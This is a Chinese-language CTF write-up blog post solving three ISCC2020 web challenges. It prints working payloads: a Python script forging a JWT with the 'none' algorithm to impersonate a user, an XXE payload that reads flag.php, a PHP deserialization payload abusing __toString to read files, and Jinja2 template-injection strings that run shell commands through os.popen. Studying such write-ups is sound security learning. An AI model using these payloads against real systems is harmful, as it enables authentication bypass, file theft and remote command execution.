Fork me on GitHub

ISCC2020 WEB记录

ISCC2020

  • 最开始的几题web,记录一下解题过程

Web4 未知的风险-1

知识点:jwt,xxe

  • 首先打开页面就只有一个hello guest,遂打开cookie查看了一下,发现了有jwt样式的值
    WEB
  • 遂尝试修改,由于描述指出只有user才可访问,所以要构造userjwt
  • 这里修改jwt,采用修改算法为none,具体原理可以看一下这篇文章
    https://www.cnblogs.com/dliv3/p/7450057.html#2-%E4%BF%AE%E6%94%B9%E7%AE%97%E6%B3%95%E4%B8%BAnone
  • exp如下:
import jwt
import base64

# 原header
# eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9
# {"typ":"JWT","alg":"HS256"}

# 原payload eyJpc3MiOiJodHRwOlwvXC9kZW1vLnNqb2VyZGxhbmdrZW1wZXIubmxcLyIsImlhdCI6MTUwNDAwNjQzNSwiZXhwIjoxNTA0MDA2NTU1LCJkYXRhIjp7ImhlbGxvIjoid29ybGQifX0
# {"iss":"http:\/\/demo.sjoerdlangkemper.nl\/","iat":1504006435,"exp":1504006555,"data":{"hello":"world"}}

def b64urlencode(data):
    return base64.b64encode(data).replace(b'+', b'-').replace(b'/', b'_').replace(b'=', b'')

# 构造算法字段为none, payload部分可以随意修改
print(b64urlencode(b"{\"typ\":\"JWT\",\"alg\":\"none\"}") + \
    b'.' + b64urlencode(b"{\"id\":\"user\",\"iat\":\"1588393520\",\"jti\":\"37b27d0b48c2465a97e4ba5fb7b06997\"}") + b'.')
  • 登录进去后发现又有一个登录框,这里其实是NCTF原题
    WEB
  • 所以直接使用payload进行攻击
<?xml version = "1.0"?>
<!DOCTYPE ANY [
<!ENTITY ext SYSTEM "php://filter/read=convert.base64-encode/resource=flag.php">]>
<user><username>&ext;</username><password>0</password></user>

WEB

Web2 Php is the best language

知识点:_toString()反序列化绕过

  • 之前接触过不少反序列化的题,但是有一段时间没做了,记忆有些模糊,这次这题刚好回忆一下
  • 首先首页可以下载源码,发现要绕一个_toString()
<?php  
@error_reporting(1);
include 'flag.php';
class baby 
{
    public $file;
    function __toString()      
    {
        if(isset($this->file))
        {
            $filename = "./{$this->file}";
            if (base64_encode(file_get_contents($filename)))
            {
                return base64_encode(file_get_contents($filename));
            }
        }
    }
}
if (isset($_GET['data']))
{
    $data = $_GET['data'];
        $good = unserialize($data);
        echo $good;
}
else 
{
    $url='./index.php';
}

$html='';
if(isset($_POST['test'])){
    $s = $_POST['test'];
    $html.="<p>谢谢参与!</p>";
}
?>
  • 这里test没什么用处,关键就在于给data的反序列化,对于_toString(),它是把一个对象被当作一个字符串使用,所以我们这里就要尝试构造一个能调用_toString()
  • 所以构造payload如下:
class baby
{
	public $file;
}

$a = new baby();
$a->file="flag.php";
echo serialize($a);
?data=O:4:"baby":1:{s:4:"file";s:8:"flag.php";}

WEB

  • 最后在base64解一下就行了

擂台赛:Easy Injection

Python template Injection

  • 攻防世界的原题,常规SSTI套路
  • 首先还是查找warnings.catch_warnings,检索索引发现是177,而后尝试命令执行
    %7B%7B%20[].__class__.__base__.__subclasses__()[177].__init__.__globals__['__builtins__']['eval']('__import__(%22os%22).popen(%22ls%22).read()')%20%7D%7D
  • 遍历出文件
    WEB
  • flog
    %7B%7B%20[].__class__.__base__.__subclasses__()[177].__init__.__globals__['__builtins__']['eval']('__import__(%22os%22).popen(%22cat%20flog%22).read()')%20%7D%7D
    WEB
posted @ 2021-03-08 21:43  Konmu  阅读(222)  评论(0编辑  收藏  举报